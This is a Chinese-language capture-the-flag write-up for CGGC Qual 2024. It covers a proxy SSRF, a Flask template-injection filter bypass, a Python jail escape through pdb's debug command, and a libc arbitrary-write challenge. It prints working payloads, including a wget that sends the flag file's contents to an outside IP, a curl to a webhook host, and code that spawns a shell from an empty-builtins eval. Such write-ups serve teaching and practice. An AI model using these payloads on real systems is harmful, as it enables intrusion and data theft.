# CGGC Qual 2024-writeup > Author: 堇姬Naup 簡單紀錄這場有摸的題目 # web ## proxy 這題基本上就是要你GET request `$service` 和 `$port`並且會從你的url path抓東西,然後去做 curl 目標是要抓到 http://secretweb/flag ```php <?php function proxy($service) { $requestUri = $_SERVER['REQUEST_URI']; $parsedUrl = parse_url($requestUri); $port = 80; if (isset($_GET['port'])) { $port = (int)$_GET['port']; } else if ($_COOKIE["port"]) { $port = (int)$_COOKIE['port']; } setcookie("service", $service); setcookie("port", $port); $ch = curl_init(); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); $filter = '!$%^&*()=+[]{}|;\'",<>?_-/#:.\\@'; $fixeddomain = trim(trim($service, $filter).".cggc.chummy.tw:".$port, $filter); $fixeddomain = idn_to_ascii($fixeddomain); $fixeddomain = preg_replace('/[^0-9a-zA-Z-.:_]/', '', $fixeddomain); curl_setopt($ch, CURLOPT_URL, 'http://'.$fixeddomain.$parsedUrl['path'].'?'.$_SERVER['QUERY_STRING']); curl_exec($ch); curl_close($ch); } if (!isset($_GET['service']) && !isset($_COOKIE["service"])) { highlight_file(__FILE__); } else if (isset($_GET['service'])) { proxy($_GET['service']); } else { proxy($_COOKIE["service"]); } ``` 這邊主要問題是傳入的service會經歷一系列filter(為 `$fixeddomain`) 兩次trim filter特殊字元,並接到`.cggc.chummy.tw:<port>` -> idn_to_ascii(將Unicode DNS格式轉IDNA ASCII) -> preg_match在做一次filter -> `http://<$fixeddomain><parseurl path>?<query string>` https://www.php.net/manual/zh/function.idn-to-ascii.php 這邊有個問題 當service傳入一個很大的數字,`idn_to_ascii`吃到會回傳空的,所以把前面的&service塞爆,後面串要請求的網址就行,下方是PoC ```php <?php $ch = curl_init(); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); $service = str_repeat('c', 1000); $port = 80; $filter = '!$%^&*()=+[]{}|;\'",<>?_-/#:.\\@'; $fixeddomain = trim(trim($service, $filter).".cggc.chummy.tw:".$port, $filter); $fixeddomain = idn_to_ascii($fixeddomain); $fixeddomain = preg_replace('/[^0-9a-zA-Z-.:_]/', '', $fixeddomain); $ch_url = 'http://'.$fixeddomain.'webhook.site/e7af8d30-c95f-4ba7-aa4b-e47a00c1e48a'; curl_setopt($ch, CURLOPT_URL, $ch_url); curl_exec($ch); curl_close($ch); ?> ``` final payload: `http://10.99.66.6/secretweb/flag?service=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa` > Flag: CGGC{1Dn_7O_45c11_5o_57R4n9E_11fc26f06c33e83f65ade64679dc0e58} ## Breakjail Online 🛜 這題是SSTI題 ```py @app.route('/SsTiMe', methods=['GET']) def showip(): # WOW! There has a SSTI in Flask!!! q = request.args.get('q', "'7'*7") # prevent smuggling bad payloads! request.args = {} request.headers = {} request.cookies = {} request.data = {} request.query_string = b"#"+request.query_string if any([x in "._.|||" for x in q]) or len(q) > 88: return "Too long for me :/ my payload less than 73 chars" res = render_template_string(f"{{{{{q}}}}}", # TODO: just for debugging, remove this in production breakpoint=breakpoint, str=str ) # oops, I just type 'res' not res qq return 'res=7777777' ``` 過濾掉了`.`、`_`、`|`,並限制了長度不能夠大於88 這題payload是 ``` lipsum["\x5f\x5fglobals\x5f\x5f"]["os"]["system"]("wget 395507846:1/`cat /flag*`") ``` 基本上就是用lipsum那條SSTI,用`[]`來bypass`.`被ban,`\x5`來bypass `_`,之後抓到system,用十進制的 ip 和`*`來壓短payload > flag: CGGC{breakpoint_is_a_biiiig_gadget_oj237rpwd3i2} # Misc ## Breakjail ⛓️ 首先是他讓你輸入一個字串,先過濾了`.`、`_`並且限制長度不可以大於55,之後放入到`eval` ```py #!/usr/local/bin/python3 print(open(__file__).read()) flag = open('flag').read() flag = "Got eaten by the cookie monster QQ" inp = __import__("unicodedata").normalize("NFKC", input(">>> ")) if any([x in "._." for x in inp]) or inp.__len__() > 55: print('bad hacker') else: eval(inp, {"__builtins__": {}}, { 'breakpoint': __import__('GoodPdb').good_breakpoint}) print(flag) ``` 這裡的`eval`有兩個設定,一個把`__builtins__`清空,內建函數不可用,之後import `GoodPdb`的good_breakpoint給'breakpoint' 來看GoodPdb ```py import pdb # patch from https://github.com/python/cpython/blob/ed24702bd0f9925908ce48584c31dfad732208b2/Lib/cmd.py#L98 class GoodPdb(pdb.Pdb): def cmdloop(self, intro=None): ... def do_interact(self, arg): """ no interactive! """ pass good_breakpoint = GoodPdb().set_trace ``` GoodPdb繼承自整個`pdb.Pdb`,而他call了`set_trace` 來看python3.14 documets https://docs.python.org/zh-tw/3.14/library/pdb.html#pdb.set_trace set_trace原型是 `pdb.set_trace(*, header=None, commands=None)` commands是在3.14中加入的,他可以輸入一些pdb相關commands 當我們輸入 `breakpoint(commands='h')` 可以看到有許多pdb commands可以用 ``` EOF cl disable ignore n return u where a clear display interact next retval unalias alias commands down j p run undisplay args condition enable jump pp rv unt b cont exceptions l q s until break continue exit list quit source up bt d h ll r step w c debug help longlist restart tbreak whatis ``` 這邊下 `breakpoint(commands=["debug",])`,他會開一個pdb shell給你,我們就有任意python執行了 不過我們沒有內建函數,最後用 `[''.__class__.__base__.__subclasses__()[158].__init__.__globals__][0]["system"]("sh")` 開一個 shell,成功get flag > flag: CGGC{breakpoint_new_feature_in_python_3.14a_can_GOOOOOTOOOOO_n23hq78weh12rb} # Pwn ## one_shot IDA逆一下會發現他叫你輸入一個 address,之後你可以往那個位置想0xE0大小的東西,並且有給你libc,然後保護全開 簡單還說我們現在有一個 libc 任意寫,原本我的想法控puts底下在call strlen時,會去call `*ABS*@got.plt`,這裡的GOT是可寫段,所以把這裡改掉就可以控`rip`,但我沒想到怎麼去跳ROP,或是控rdi的方法 這邊賽後有看到其他組有用這方法做出來,可以來看這個repo https://github.com/n132/Libc-GOT-Hijacking/blob/main/Post/README.md 最後是house of apple 解決 https://zikh26.github.io/posts/19609dd.html > CGGC{0ne_sh0t_14_4ll_y0u_nEEd!} # 後記 放一下score board 也感謝這兩天一起奮鬥的隊友 @Aukro @Flydragon @Whale.120 ![image](https://hackmd.io/_uploads/SyljNcSbJl.png) ![image](https://hackmd.io/_uploads/rJLjNcB-ke.png)